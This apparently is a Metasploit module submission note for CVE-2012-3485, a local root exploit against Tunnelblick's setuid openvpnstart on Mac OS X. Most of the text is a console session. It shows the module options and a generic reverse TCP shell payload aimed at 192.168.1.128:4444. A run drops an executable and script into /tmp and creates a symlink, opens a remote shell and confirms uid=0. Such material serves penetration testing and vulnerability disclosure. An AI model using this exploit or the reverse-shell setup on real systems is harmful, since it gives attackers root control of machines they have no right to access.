added module for CVE-2012-3485

Vulnerable application can be downloaded from:

https://code.google.com/p/tunnelblick/wiki/DownloadsEntry?tm=2

Tested on Tunnelblick 3.2.8 build 2891.3099 over Mac OS X 10.7.5

```
msf  exploit(setuid_tunnelblick) > show options

Module options (exploit/osx/local/setuid_tunnelblick):

   Name         Current Setting                                                Required  Description
   ----         ---------------                                                --------  -----------
   SESSION      4                                                              yes       The session to run this module on.
   Tunnelblick  /Applications/Tunnelblick.app/Contents/Resources/openvpnstart  yes       Path to setuid openvpnstart executable
   WritableDir  /tmp                                                           yes       A directory where we can write files


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.128    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Tunnelblick 3.2.8 / Mac OS X x86


msf  exploit(setuid_tunnelblick) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Creating directory...
[*] Dropping executable /tmp/openvpn/openvpn-0/VyoTlxIL
[*] Dropping shell script /tmp/openvpn/openvpn-0/openvpn...
[*] Creating symlink /tmp/KZGacEei...
[*] Running...
[*] Command shell session 8 opened (192.168.1.128:4444 -> 192.168.1.128:53260) at 2013-03-03 19:46:19 +0100
[!] Remember to clean files: /tmp/KZGacEei and the /tmp/openvpn directory

id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),33(_appstore),61(localaccounts),80(admin),98(_lpadmin),100(_lpoperator),204(_developer),402(com.apple.sharepoint.group.1),401(com.apple.access_screensharing)
^C
Abort session 8? [y/N]  y

[*] 192.168.1.128 - Command shell session 8 closed.  Reason: User exit

```